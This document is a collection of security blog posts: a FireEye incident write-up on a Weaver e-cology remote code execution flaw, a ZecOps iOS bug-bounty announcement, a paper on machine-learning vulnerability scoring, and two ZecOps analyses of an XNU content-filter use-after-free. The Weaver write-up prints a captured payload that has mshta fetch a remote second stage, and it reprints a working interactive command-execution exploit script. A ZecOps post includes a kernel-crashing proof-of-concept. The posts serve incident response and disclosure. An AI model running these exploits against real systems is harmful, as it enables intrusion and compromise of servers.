The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'
}   

  

def exploit(url,cmd): 
   target=url+'/weaver/bsh.servlet.BshServlet' 
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd) 
   res=requests.post(url=target,data=payload,headers=headers,timeout=10) 
   res.encoding=res.apparent_encoding 
   print(res.text)   

if __name__ == '__main__': 
   url=sys.argv[1] 
   while(1): 
       cmd=input('cmd:') 
       exploit(url,cmd)   

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.

Conclusion

This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about FireEye Managed Defense here.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China

References

Announcing Task For Pwn 0 (TFP0): Operation #FreeTheSandbox

Announcing Task For Pwn 0 (TFP0): Operation #FreeTheSandbox

Win Bounties even for soon-to-be-Patched Bugs

By Zuk Avraham

Following the recent disclosures by Google Project Zero of iPhone mass-targeting in the wild, the need to investigate iOS attacks is becoming of critical importance to the DFIR community. This is not the first time iPhones are actively being attacked, and definitely not the last one either.

The challenge starts when an iOS device is confirmed or suspected as compromised. Remarkably, Google Project Zero Team observed  messages that were sent in plain text, however usually sophisticated threat operators would rarely make such mistakes. Moreover, even when phones are confirmed to be infected,  if the exploit is not available, the device has to be hacked in order to extract the payload. 

Two years ago, my iOS device was exposed to two failed attack attempts. Without disclosing sensitive information that would tip off the attackers, the first failed attack was a trigger to a security mitigation and the second failed attack was a failed execution of non-signed binary in a system path. The binary that was tampered with was CommCenterMobileHelper which is the binary that is in charge of baseband / cellular communication.

At that time, I could only deduce that a device was attacked, I knew the exact path but I couldn’t extract the payload. Skipping the full details, I was only able to perform filesystem extraction about a month later once GP0 released a Local Privilege Escalation (LPE) for that version. In an era when even non-sophisticated malware implement time-bombs to avoid detection, it was undoubtedly way too long from the moment of the attack.

At ZecOps we decided to change the odds in favor of DFIR community. By promoting #FreeTheSandbox we believe that DFIR community should be empowered to analyze every sandboxed device (especially the ones that have a microphone), without requiring to use an LPE exploit, and especially if users have a physical access + a pin code to their device. Currently, accessing plain text passwords and messages is allowed, but TFP0 / Read-Only access to file system is not. iOS DFIR is currently a constant Catch 22: even if you have an LPE exploit, you’re facing a challenge: as a white-hat hacker you want to report such vulnerabilities, but if they are patched, you can’t analyze infected devices anymore.

For the first competition, we’re willing to pay even for bugs that other bounties would consider worthless LPEs. For example, vulnerabilities that are already known to be patched in iOS 13 / 13.1 and are still working on iOS 12.4.1. We’re announcing our first Task For Pwn Zero competition:
We’ll use disclosed bugs for defensive purposes in order to analyze infected devices.

FREQUENTLY ASKED QUESTIONS: 

1. What type of access are you looking for?

Vulnerabilities / POCs that provide Task For PID 0 (TFP0) and kernel ProcStructAddr for the current process. Please include in your submission email to task_for_pwn@zecops.com:

  1. A short explanation of the vulnerability
  2. POC (without full exploit code)
  3. Proof for the POC (crash or other)
  4. Which devices can you support? Does it work with PAC?
  5. Was this vulnerability disclosed to Apple? Is it patched on iOS 13/iOS 13.1?
  6. Will you include a write-up (yes/no)

PGP Public Key is available below.

2. What’s the starting point? Do I need a full chain?

Full chain is not required! The vulnerability should work as an app. Our goal is to extract malicious payloads and to analyze persistent and non-persistent payloads on devices. We are only interested in LPEs. We install the app manually on suspected devices, WITH user’s permission. The app won’t be in the App Store.

3. How much will ZecOps pay?

We’ll pay up to $40k if the vulnerabilities were already patched in iOS 13 / iOS 13.1. 
The parameters that would provide the maximal bounty includes:

  1. Number of devices that this vulnerability can obtain access on (A8~A12 are preferred) 
  2. PAC Bypass
  3. Write up

Additional Bonuses:

  • We’ll pay more than the maximum bounty for vulnerabilities that are not patched yet in iOS 13 / 13.1. 
  • We’ll also pay more if Apple doesn’t know about the vulnerability, and we are the first to disclose it to them.
  • Although unlikely, an additional bonus will be provided if Apple will provide us a bounty.  In any way, we guarantee that the payout will be more than $50k if Apple will provide us with any bounty due to the disclosure. $50k is the price Apple listed for LPEs in the latest bug bounty program so it’s more beneficial to share it with us first.

4. How many vulnerabilities will you purchase?

Although it may change, as a starting point, one for each version. The one with most devices coverage will win. If another vulnerability was not purchased, and it’s still unpatched after an update, we’ll prioritize it for the following version. We will not disclose any vulnerabilities we didn’t purchase, without written permission.

5. Will you share the vulnerability with Apple?

Yes
, we’re white-hats. Although this situation is ridiculous, and we hope Apple will fix it, if this vulnerability not previously responsibly disclosed to Apple (please elaborate in the submission), we will. Although we do not anticipate to receive any bounty this time as a result, we’ll provide a bonus to the sender if we receive any bounty and the final outcome will be higher than the entire bounty.

6. Do you require exclusivity?

No
, you can do whatever you want with this vulnerability.

7. Do you require a write-up?

No,
but as part of our internal bounty evaluation, we will provide you with an additional $5k bonus which will help to achieve the maximum payout.

8. Will you share the vulnerability with other parties?

Currently not
. We do not plan to share the vulnerability except for ZecOps customers and partners when devices were found to be suspicious. Down the road, we may share with other companies for defensive purposes only, under a strict agreement that does not allow to resell this vulnerability. If we ever share an exploit, it will only be one that we ended up purchasing, and following a responsible disclosure to Apple.

Once the vulnerability is patched, we will share a blog post with the details and the POC.

9. Does Apple new Research Program helps iOS  DFIR analysts? Unfortunately no. Although it’s a good step in the right direction, it’s far from sufficient and it won’t help any iOS DFIR analysts. Even if receive access to a device with root & ssh access, it only help to investigate that particular device. It does not help to analyze suspected devices – even in examples such as the attack disclosed last week where the device was communicating in plain text.

10. How can Apple (& Google) help to fight malicious actors? 

Devices must be inspectable by device owners, without tipping of the attackers and without tampering with evidence (flashing a new kernel / unlocking bootloader just to enable inspection is tampering with evidence). Even compromised devices cannot be inspected hence malware/payloads/exploits cannot be easily extracted on latest versions. 

In order to extract persistent malware we need to have read-only filesystem access. In order to extract non-persistent, in-memory, malware, we need TFP0 on iOS or equivalent on Android (non-sandboxed, root process). 

Android Device Bridge (ADB) user is not sufficient for that purpose too and attackers can use the sandbox limitations to hide from iOS and Android DFIR analysts. 

We understand it will be a bit hard to swallow at first, but if the vendors will hear us out they will understand it makes total sense. We can start with SSH access with physical connection and pin code. Secrets like plain-text passwords are available simply with pincode / facial recognition – full analysis of devices should be achieved in exactly the same way.

What’s the value to Apple and Google? They will have an army of hundreds of thousands of Android and iOS DFIR analysts finding persistent and non-persistent attacks on their devices. Making the platform much more secure. Win-Win to everybody.

We would love to maintain an open communication with Apple and Google to achieve proper analysis capabilities.

11. I support the cause, what can I do to help?

  1. Fill your name and address here and we’ll send you free #FreeTheSandbox stickers. Spread the word, together we will make it happen!
  2. Spread the word with the hashtag #FreeTheSandbox



Showing Vulnerability to a Machine: Automated Prioritization of Software Vulnerabilities

Introduction

If a software vulnerability can be detected and remedied, then a potential intrusion is prevented. While not all software vulnerabilities are known, 86 percent of vulnerabilities leading to a data breach were patchable, though there is some risk of inadvertent damage when applying software patches. When new vulnerabilities are identified they are published in the Common Vulnerabilities and Exposures (CVE) dictionary by vulnerability databases, such as the National Vulnerability Database (NVD).

The Common Vulnerabilities Scoring System (CVSS) provides a metric for prioritization that is meant to capture the potential severity of a vulnerability. However, it has been criticized for a lack of timeliness, vulnerable population representation, normalization, rescoring and broader expert consensus that can lead to disagreements. For example, some of the worst exploits have been assigned low CVSS scores. Additionally, CVSS does not measure the vulnerable population size, which many practitioners have stated they expect it to score. The design of the current CVSS system leads to too many severe vulnerabilities, which causes user fatigue. ­

To provide a more timely and broad approach, we use machine learning to analyze users’ opinions about the severity of vulnerabilities by examining relevant tweets. The model predicts whether users believe a vulnerability is likely to affect a large number of people, or if the vulnerability is less dangerous and unlikely to be exploited. The predictions from our model are then used to score vulnerabilities faster than traditional approaches, like CVSS, while providing a different method for measuring severity, which better reflects real-world impact.

Our work uses nowcasting to address this important gap of prioritizing early-stage CVEs to know if they are urgent or not. Nowcasting is the economic discipline of determining a trend or a trend reversal objectively in real time. In this case, we are recognizing the value of linking social media responses to the release of a CVE after it is released, but before it is scored by CVSS. Scores of CVEs should ideally be available as soon as possible after the CVE is released, while the current process often hampers prioritization of triage events and ultimately slows response to severe vulnerabilities. This crowdsourced approach reflects numerous practitioner observations about the size and widespread nature of the vulnerable population, as shown in Figure 1. For example, in the Mirai botnet incident in 2017 a massive number of vulnerable IoT devices were compromised leading to the largest Denial of Service (DoS) attack on the internet at the time.


Figure 1: Tweet showing social commentary on a vulnerability that reflects severity

Model Overview

Figure 2 illustrates the overall process that starts with analyzing the content of a tweet and concludes with two forecasting evaluations. First, we run Named Entity Recognition (NER) on tweet contents to extract named entities. Second, we use two classifiers to test the relevancy and severity towards the pre-identified entities. Finally, we match the relevant and severe tweets to the corresponding CVE.


Figure 2: Process overview of the steps in our CVE score forecasting

Each tweet is associated to CVEs by inspecting URLs or the contents hosted at a URL. Specifically, we link a CVE to a tweet if it contains a CVE number in the message body, or if the URL content contains a CVE. Each tweet must be associated with a single CVE and must be classified as relevant to security-related topics to be scored. The first forecasting task considers how well our model can predict the CVSS rankings ahead of time. The second task is predicting future exploitation of the vulnerability for a CVE based on Symantec Antivirus Signatures and Exploit DB. The rationale is that eventual presence in these lists indicates not just that exploits can exist or that they do exist, but that they also are publicly available.

Modeling Approach

Predicting the CVSS scores and exploitability from Twitter data involves multiple steps. First, we need to find appropriate representations (or features) for our natural language to be processed by machine learning models. In this work, we use two natural language processing methods in natural language processing for extracting features from text: (1) N-grams features, and (2) Word embeddings. Second, we use these features to predict if the tweet is relevant to the cyber security field using a classification model. Third, we use these features to predict if the relevant tweets are making strong statements indicative of severity. Finally, we match the severe and relevant tweets up to the corresponding CVE.

N-grams are word sequences, such as word pairs for 2-gram or word triples for 3-grams. In other words, they are contiguous sequence of n words from a text. After we extract these n-grams, we can represent original text as a bag-of-ngrams. Consider the sentence:

A criticial vulnerability was found in Linux.

If we consider all 2-gram features, then the bag-of-ngrams representation contains “A critical”, “critical vulnerability”, etc.

Word embeddings are a way to learn the meaning of a word by how it was used in previous contexts, and then represent that meaning in a vector space. Word embeddings know the meaning of a word by the company it keeps, more formally known as the distribution hypothesis. These word embedding representations are machine friendly, and similar words are often assigned similar representations. Word embeddings are domain specific. In our work, we additionally train terminology specific to cyber security topics, such as related words to threats are defenses, cyberrisk, cybersecurity, threat, and iot-based. The embedding would allow a classifier to implicitly combine the knowledge of similar words and the meaning of how concepts differ. Conceptually, word embeddings may help a classifier use these embeddings to implicitly associate relationships such as:

device + infected = zombie

where an entity called device has a mechanism applied called infected (malicious software infecting it) then it becomes a zombie.

To address issues where social media tweets differ linguistically from natural language, we leverage previous research and software from the Natural Language Processing (NLP) community. This addresses specific nuances like less consistent capitalization, and stemming to account for a variety of special characters like ‘@’ and ‘#’.


Figure 3: Tweet demonstrating value of identifying named entities in tweets in order to gauge severity

Named Entity Recognition (NER) identifies the words that construct nouns based on their context within a sentence, and benefits from our embeddings incorporating cyber security words. Correctly identifying the nouns using NER is important to how we parse a sentence. In Figure 3, for instance, NER facilitates Windows 10 to be understood as an entity while October 2018 is treated as elements of a date. Without this ability, the text in Figure 3 may be confused with the physical notion of windows in a building.

Once NER tokens are identified, they are used to test if a vulnerability affects them. In the Windows 10 example, Windows 10 is the entity and the classifier will predict whether the user believes there is a serious vulnerability affecting Windows 10. One prediction is made per entity, even if a tweet contains multiple entities. Filtering tweets that do not contain named entities reduces tweets to only those relevant to expressing observations on a software vulnerability.

From these normalized tweets, we can gain insight into how strongly users are emphasizing the importance of the vulnerability by observing their choice of words. The choice of adjective is instrumental in the classifier capturing the strong opinions. Twitter users often use strong adjectives and superlatives to convey magnitude in a tweet or when stressing the importance of something related to a vulnerability like in Figure 4. This magnitude often indicates to the model when a vulnerability’s exploitation is widespread. Table 1 shows our analysis of important adjectives that tend to indicate a more severe vulnerability.


Figure 4: Tweet showing strong adjective use


Table 1: Log-odds ratios for words correlated with highly-severe CVEs

Finally, the processed features are evaluated with two different classifiers to output scores to predict relevancy and severity. When a named entity is identified all words comprising it are replaced with a single token to prevent the model from biasing toward that entity. The first model uses an n-gram approach where sequences of two, three, and four tokens are input into a logistic regression model. The second approach uses a one-dimensional Convolutional Neural Network (CNN), comprised of an embedding layer, a dropout layer then a fully connected layer, to extract features from the tweets.

Evaluating Data

To evaluate the performance of our approach, we curated a dataset of 6,000 tweets containing the keywords vulnerability or ddos from Dec 2017 to July 2018. Workers on Amazon’s Mechanical Turk platform were asked to judge whether a user believed a vulnerability they were discussing was severe. For all labeling, multiple users must independently agree on a label, and multiple statistical and expert-oriented techniques are used to eliminate spurious annotations. Five annotators were used for the labels in the relevancy classifier and ten annotators were used for the severity annotation task. Heuristics were used to remove unserious respondents; for example, when users did not agree with other annotators for a majority of the tweets. A subset of tweets were expert-annotated and used to measure the quality of the remaining annotations.

Using the features extracted from tweet contents, including word embeddings and n-grams, we built a model using the annotated data from Amazon Mechanical Turk as labels. First, our model learns if tweets are relevant to a security threat using the annotated data as ground truth. This would remove a statement like “here is how you can #exploit tax loopholes” from being confused with a cyber security-related discussion about a user exploiting a software vulnerability as a malicious tool. Second, a forecasting model scores the vulnerability based on whether annotators perceived the threat to be severe.

CVSS Forecasting Results

Both the relevancy classifier and the severity classifier were applied to various datasets. Data was collected from December 2017 to July 2018. Most notably 1,000 tweets were held-out from the original 6,000 to be used for the relevancy classifier and 466 tweets were held-out for the severity classifier. To measure the performance, we use the Area Under the precision-recall Curve (AUC), which is a correctness score that summarizes the tradeoffs of minimizing the two types of errors (false positive vs false negative), with scores near 1 indicating better performance.

  • The relevancy classifier scored 0.85
  • The severity classifier using the CNN scored 0.65
  • The severity classifier using a Logistic Regression model, without embeddings, scored 0.54

Next, we evaluate how well this approach can be used to forecast CVSS ratings. In this evaluation, all tweets must occur a minimum of five days ahead of CVSS scores. The severity forecast score for a CVE is defined as the maximum severity score among the tweets which are relevant and associated with the CVE. Table 1 shows the results of three models: randomly guessing the severity, modeling based on the volume of tweets covering a CVE, and the ML-based approach described earlier in the post. The scoring metric in Table 2 is precision at top K using our logistic regression model. For example, where K=100, this is a way for us to identify what percent of the 100 most severe vulnerabilities were correctly predicted. The random model would predicted 59, while our model predicted 78 of the top 100 and all ten of the most severe vulnerabilities.


Table 2: Comparison of random simulated predictions, a model based just on quantitative features like “likes”, and the results of our model

Exploit Forecasting Results

We also measured the practical ability of our model to identify the exploitability of a CVE in the wild, since this is one of the motivating factors for tracking. To do this, we collected severe vulnerabilities that have known exploits by their presence in the following data sources:

  • Symantec Antivirus signatures
  • Symantec Intrusion Prevention System signatures
  • ExploitDB catalog

The dataset for exploit forecasting was comprised of 377,468 tweets gathered from January 2016 to November 2017. Of the 1,409 CVEs used in our forecasting evaluation, 134 publicly weaponized vulnerabilities were found across all three data sources.

Using CVEs from the aforementioned sources as ground truth, we find our CVE classification model is more predictive of detecting operationalized exploits from the vulnerabilities than CVSS. Table 3 shows precision scores illustrating seven of the top ten most severe CVEs and 21 of the top 100 vulnerabilities were found to have been exploited in the wild. Compare that to one of the top ten and 16 of the top 100 from using the CVSS score itself. The recall scores show the percentage of our 134 weaponized vulnerabilities found in our K examples. In our top ten vulnerabilities, seven were found to be in the 134 (5.2%), while the CVSS scoring’s top ten included only one (0.7%) CVE being exploited.


Table 3: Precision and recall scores for the top 10, 50 and 100 vulnerabilities when comparing CVSS scoring, our simplistic volume model and our NLP model

Conclusion

Preventing vulnerabilities is critical to an organization’s information security posture, as it effectively mitigates some cyber security breaches. In our work, we found that social media content that pre-dates CVE scoring releases can be effectively used by machine learning models to forecast vulnerability scores and prioritize vulnerabilities days before they are made available. Our approach incorporates a novel social sentiment component, which CVE scores do not, and it allows scores to better predict real-world exploitation of vulnerabilities. Finally, our approach allows for a more practical prioritization of software vulnerabilities effectively indicating the few that are likely to be weaponized by attackers. NIST has acknowledged that the current CVSS methodology is insufficient. The current process of scoring CVSS is expected to be replaced by ML-based solutions by October 2019, with limited human involvement. However, there is no indication of utilizing a social component in the scoring effort.

This work was led by researchers at Ohio State under the IARPA CAUSE program, with support from Leidos and FireEye. This work was originally presented at NAACL in June 2019, our paper describes this work in more detail and was also covered by Wired.

Content-Filter Strikes Back: Yet Another (Silently Patched) MacOS / iOS Kernel Use-After-Free

Content-Filter Strikes Back: Yet Another (Silently Patched) MacOS / iOS Kernel Use-After-Free

Introduction

As we were investigating anomalies on Mobile Device Management (MDM) devices, ZecOps MacOS / iOS DFIR analysis revealed yet another vulnerability that is applicable only to managed devices. 

As far as we are aware, similarly to the previous vulnerability that we analyzed in Content Filter (DoubleNull Part I, DoubleNull Part II), Apple patched this issue silently without assigning a CVE.

This vulnerability is a Use-After-Free deep inside XNU kernel Content Filter module which can be triggered only on managed devices. This vulnerability allows sandboxed processes to attack XNU kernel and leads to kernel code execution on MDM enabled devices.

This vulnerability affects iOS 12.0.1 ~ iOS 12.1.2, fixed on iOS 12.1.3 (XNU-4903.242.1). Upon closing the socket, it sleeps and waits for hash_entries to be garbage collected, however it keeps the reference of the hash_entry which can be freed in GC thread. The freed hash_entry object will be used when the sleeping thread wakes up.

Vulnerability Details

We’ve explained Network Extension Control Policy (NECP) and content filter in our “Content Filter Kernel UAF DoubleNull Part I” blog post. In content filter, the “struct cfil_entry” maintains the information most relevant to the message handling over a kernel control socket with a user space filter agent.

Function cfil_filters_udp_attached is called to wait on first flow when closing a UDP socket on last file table reference removal (For more details see bsd/net/content_filter.c:5336)

for (int i = 0; i < CFILHASHSIZE; i++) {
  cfilhash = &db->cfdb_hashbase[i];

  LIST_FOREACH_SAFE(hash_entry, cfilhash, cfentry_link, temp_hash_entry) {

    if (hash_entry->cfentry_cfil != NULL) {

      cfil_info = hash_entry->cfentry_cfil;
      for (kcunit = 1; kcunit <= MAX_CONTENT_FILTER; kcunit++) {
        entry = &cfil_info->cfi_entries[kcunit - 1];

        /* Are we attached to the filter? */
        if (entry->cfe_filter == NULL) {
          continue;
        }

...
          error = msleep((caddr_t)cfil_info, mutex_held,
                   PSOCK | PCATCH, "cfil_filters_udp_attached", &ts);//unlock so then sleep
          cfil_info->cfi_flags &= ~CFIF_CLOSE_WAIT;
...

LIST_FOR_EACH_SAFE is a macro that iterates over the list safe against removal of list entry.

Following is the expanded code for LIST_FOR_EACH_SAFE, the hash_entry points to next hash_entry
(hash_entry->cfentry_link.le_next) in the cfentry_link at the beginning of the loop.

#define	LIST_FOREACH_SAFE(var, head, field, tvar)			\
	for ((var) = LIST_FIRST((head));				\
	    (var) && ((tvar) = LIST_NEXT((var), field), 1);		\
	    (var) = (tvar))
For (hash_entry = cfilhash.lh_first;         \
    hash_entry && (temp_hash_entry = hash_entry->cfentry_link.le_next, 1);    \
    hash_entry = temp_hash_entry)

LIST_FOREACH_SAFE is not so “safe” after all, each loop the temp_hash_entry is signed to the next element, it will trigger the Use-After-Free (UAF) if the next element is freed by Garbage Collection (GC) thread while sleeping.

PoC Setup Environment

Similarly to our previous blog about Content-Filter, running the PoC on your macOS might not take effect unless your device has MDM enabled. To trigger the vulnerability, the device should meet the following conditions:

  1. At least one Content Filter is attached.
  2. An NECP policy which affects UDP requests is added to the NECP database.
  3. The affected NECP policy and the attached Content Filter have the same filter_control_unit.

PoC

Following PoC code generates cfentry_list with multiple hash_entries which will trigger the content filter UAF.

# PoC - CVE-2019-XXXX by ZecOps Research Team (c)
# (c) ZecOps.com - Find and Leverage Attacker's Mistakes 
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk
 
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
port = 1000
addr = '192.168.0.1'
for i in range(30):
    s.sendto(msg, (addr, port+i))
s.close()

The following panic was generated on macOS 10.14.1 following an execution of the PoC.

Anonymous UUID:       5EC8060F-9BB5-FC9F-827F-3100A79DDD5F

Thu Jul 25 01:51:26 2019

*** Panic Report ***
panic(cpu 0 caller 0xffffff800498089d): Kernel trap at 0xffffff8004bc9e9f, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000105f81000, CR3: 0x00000000a09db0ee, CR4: 0x00000000001606e0
RAX: 0x0000000000000001, RBX: 0xffffff8018462458, RCX: 0xffffff8004d54d28, RDX: 0x0000000003000000
RSP: 0xffffff88b14cbd60, RBP: 0xffffff88b14cbdb0, RSI: 0xffffff80113fc000, RDI: 0x0000000000000000
R8:  0x0000000000000000, R9:  0x0000000000989680, R10: 0xffffff800f193c24, R11: 0x00000000000000ee
R12: 0xffffff80113fc000, R13: 0xc0ffeee7942133be, R14: 0x0000000000000082, R15: 0x0000000000000003
RFL: 0x0000000000010286, RIP: 0xffffff8004bc9e9f, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000105f81000, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0

Backtrace (CPU 0), Frame : Return Address
0xffffff800474b290 : 0xffffff800485653d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff800474b2e0 : 0xffffff800498eac3 mach_kernel : _kdp_i386_trap + 0x153
0xffffff800474b320 : 0xffffff800498067a mach_kernel : _kernel_trap + 0x4fa
0xffffff800474b390 : 0xffffff8004804c90 mach_kernel : _return_from_trap + 0xe0
0xffffff800474b3b0 : 0xffffff8004855f57 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff800474b4d0 : 0xffffff8004855da3 mach_kernel : _panic + 0x63
0xffffff800474b540 : 0xffffff800498089d mach_kernel : _kernel_trap + 0x71d
0xffffff800474b6b0 : 0xffffff8004804c90 mach_kernel : _return_from_trap + 0xe0
0xffffff800474b6d0 : 0xffffff8004bc9e9f mach_kernel : _cfil_sock_close_wait + 0x1cf
0xffffff88b14cbdb0 : 0xffffff8004d9dd55 mach_kernel : _soclose_locked + 0xd5
0xffffff88b14cbe00 : 0xffffff8004d9e83b mach_kernel : _soclose + 0x9b
0xffffff88b14cbe20 : 0xffffff8004d14aae mach_kernel : _closef_locked + 0x16e
0xffffff88b14cbe90 : 0xffffff8004d14732 mach_kernel : _close_internal_locked + 0x362
0xffffff88b14cbf00 : 0xffffff8004d19124 mach_kernel : _close_nocancel + 0xb4
0xffffff88b14cbf40 : 0xffffff8004de104b mach_kernel : _unix_syscall64 + 0x26b
0xffffff88b14cbfa0 : 0xffffff8004805456 mach_kernel : _hndl_unix_scall64 + 0x16

The Patch

This vulnerability was patched on iOS12.1.3 (xnu-4903.242.2~1). Following the patch, Content-Filter jumps out of the loop before calling msleep, so the temp_hash_entry won’t be used after being freed by the GC thread.

following the patch

DoubleNull Part II: Rare MacOS / iOS DFIR Opportunity. Evidence of *Local* Privilege Escalations in *Network* Traffic!

This is part II of the analysis of the Content-Filter Kernel Use-After-Free vulnerability that was patched on iOS 12.3. Although DoubleNull is a potent vulnerability, this vulnerability was silently patched and no CVE was assigned. Until an official CVE is assigned, let’s name this vulnerability “DoubleNull”.

We have observed continuous triggers of DoubleNull in the wild. We suspect that DoubleNull was actively exploited in the wild against targeted MDM/EMM users. The extraordinary thing about DoubleNull is that due to the nature of this vulnerability and its exploitation which requires to send UDP network packets, it presents an extremely rare DFIR opportunity to detect exploitation of Local Privilege Escalation in network traffic (PCAPs)!  

Inspect Exploitation Of DoubleNull


The first blog post of DoubleNull describes the issue and explanation of the vulnerability as well as how to trigger it. Part I was published in May 2019 and available here: https://blog.zecops.com/vulnerabilities/analysis-and-poc-of-content-filter-kernel-use-after-free/

Since this vulnerability requires special entitlements/permissions to execute, this bug is near perfect for elevation of privileges in MDM/EMM environments and could have stayed silent for a long period of time. Apple has patched this bug in iOS  12.3.

Other Symptoms:
Besides strange UDP traffic, other notable symptoms of exploitation of DoubleNull includes random reboots.

Free iOS / MacOS DFIR Tool To Inspect Exploitation Of DoubleNull

It is a rare opportunity for iOS/MacOS DFIR to be able to examine LPEs in UDP Packets meta-data, thus  ZecOps decided to leverage this opportunity and release an iOS and MacOS DFIR Tool to investigate historical network dumps to identify which devices were compromised by the threat actor(s) that leveraged DoubleNull.

We are pleased to share a tool that is designed to inspect PCAPs for Content Filter hash_entry collisions that would trigger this vulnerability. The tool is available for download here: https://github.com/ZecOps/public/tree/master/cfil_hash_collision

Instructions:

Due to Content Filter Garbage Collection (GC) mechanism that is triggered every ten seconds, we are only interested in collisions that happened in less than 20 seconds. The lower the number (especially if it’s below 10 seconds), the higher the chances of an exploit. Collisions that happened after more than 20 seconds are meaningless.

You may use the tool for educational purposes and in corporate environments but not in commercial products unless ZecOps provide written consent.

Found Collisions?

